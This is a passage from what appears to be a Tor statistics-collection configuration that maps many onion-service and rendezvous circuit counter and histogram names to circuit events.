'Intro3ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendCircuitCount' : { CIRCUIT_EVENT },
'RendCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendCircuitLifeTime' : { CIRCUIT_EVENT },
'RendFailureCircuitCount' : { CIRCUIT_EVENT },
'RendFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendActiveCircuitCount' : { CIRCUIT_EVENT },
'RendActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientCircuitCount' : { CIRCUIT_EVENT },
'RendClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
